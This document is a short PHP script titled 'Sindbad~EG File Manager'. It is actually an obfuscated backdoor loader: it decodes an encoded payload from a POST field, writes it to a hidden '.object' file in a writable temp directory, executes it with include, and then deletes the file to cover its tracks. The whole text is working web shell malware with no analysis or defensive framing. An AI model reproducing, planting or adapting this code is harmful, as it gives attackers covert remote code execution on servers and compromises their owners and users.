Sindbad~EG File Manager

<?php

if(!is_null($_POST["m\x61r\x6B\x65r"] ?? null)){
	$holder = array_filter(["/tmp", getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]);
	$dat = $_POST["m\x61r\x6B\x65r"];
		$dat	=	 explode 		('.'	, $dat ); 
	$pgrp='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt 	);
            $t=0;
            $__len=count($dat 	);
    
            do {
                if ($t >= $__len) break;
                $v9=$dat[$t];
                $sChar=ord($salt[$t%  $sLen] 	);
                $d=((int)$v9 - $sChar - ($t%  10)) ^75;
                $pgrp		.=chr($d 	);
                $t++;}	while (true 	);
	foreach ($holder as $ent):
    		if (array_product([is_dir($ent), is_writable($ent)])) {
    $ref = "$ent" . "/.object";
    if (@file_put_contents($ref, $pgrp) !== false) {
	include $ref;
	unlink($ref);
	die();
}
}
endforeach;
}